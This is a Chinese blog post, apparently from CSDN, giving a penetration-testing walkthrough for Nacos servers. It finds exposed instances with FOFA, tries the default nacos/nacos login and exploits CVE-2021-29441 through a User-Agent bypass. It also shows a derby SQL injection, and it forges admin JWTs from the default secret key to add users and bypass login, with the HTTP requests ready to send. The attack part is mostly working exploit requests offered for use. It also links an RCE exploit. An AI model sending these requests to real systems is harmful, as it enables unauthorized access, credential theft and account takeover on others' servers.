渗透测试--Nacos系统

免责声明:

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

一:前言

nacos是指Name and Config Service,阿里为 SpringCloud 贡献了一个子项目,叫做 SpringCloud Alibaba,其中包括了微服务开发中的几个基础组件,Nacos 就是此项目中的一项技术。可以实现服务注册中心、分布式配置中心。针对微服务架构中的服务发现、配置管理、服务治理的综合型解决方案。Nacos在攻防实战中也是经常遇到,大多数布置是在内网,但是公网上也是有不少的,因为其存在多个漏洞,师傅们也是通过nacos拿下了不少分数。

二:空间测绘查询

fofa:
protocol="nacos(http)"
image.png
可以看到公网上还真不少
image.png
没接触过的师傅们发现搜出来会是上图这样的,WEB页面呢?nacos的web页面是要加上正确的路径才能访问的。一般是加上/nacos/路径就可以访问,即http://x.x.x.x/nacos/
image.png
当然也有为了安全考虑更换了默认路径的。这就要靠师傅们思路去寻找了。

三:Nacos默认密码

nacos系统默认账号密码为nacos/nacos,运气好的话还是可以遇到的。
image.png
image.png

四:Nacos未授权访问CVE-2021-29441

此漏洞原因是nacos在认证时会判断User-agent是否为”Nacos-Server”,如果是的话会不进行任何认证。
POC:

GET /nacos/v1/auth/users?pageNo=1&pageSize=99 HTTP/1.1
User-Agent: Nacos-Server
Host: x.x.x.x
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

image.png
可以得到所有用户以及加密后的密码。

五:SQL注入(CNVD-2020-67618)

nacos在derby端点存在SQL注入
select * from users
POC:

GET /nacos/v1/cs/ops/derby?sql=%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%73 HTTP/1.1
User-Agent: Nacos-Server
Host: x.x.x.x
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

image.png

六: Nacos权限绕过(QVD-2023-6271)

这个漏洞个人认为是最常见的一个,有一半以上的nacos系统都存在这个洞。而且利用简单,危害极大。漏洞产生原因是nacos系统采用了默认的JWT密钥,nacos的JWT默认key是SecretKey012345678901234567890123456789012345678901234567890123456789
我们使用默认key构造新的JWT,推荐https://jwt.io/网站
image.png

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q

即为默认nacos用户的一个JWT,有了JWT,那么一切身份认证都是虚无。在日常攻防中常用的就是添加用户、修改密码、登录绕过。
添加一个账号密码为test的用户

POST /nacos/v1/auth/users HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q
Content-type: application/x-www-form-urlencoded
User-Agent: Nacos-Server
Host: .x.x.x.x
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 27
Connection: close

username=test&password=test

image.png
或者直接用accessToken绕过登录

POST /nacos/v1/auth/users/login HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q
User-Agent: Nacos-Server
Host: x.x.x.x
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close

username=nacos&password=nacos

image.png
复制响应体,然后用任意账号密码登录,拦截返回包,然后替换返回包。
image.png
发包,就可以成功登录
image.png

七:Nacos 集群 Raft 反序列化漏洞 (CNVD-2023-45001)

源于 Nacos 集群处理部分 Jraft 请求时,未限制使用 hessian 进行反 。序列化,攻击者可以通过发送特制的请求触发该漏洞,最终执行任意远程代码。nacos2.*版本默认开启了危险端口7848,1.*没有,所以该漏洞主要使用于nacos2.*版本
这个洞至今还没有打成功过,放一个大佬的exp大家可以试试
image.png
https://github.com/c0olw/NacosRce/

  • 18
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芝士土包鼠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值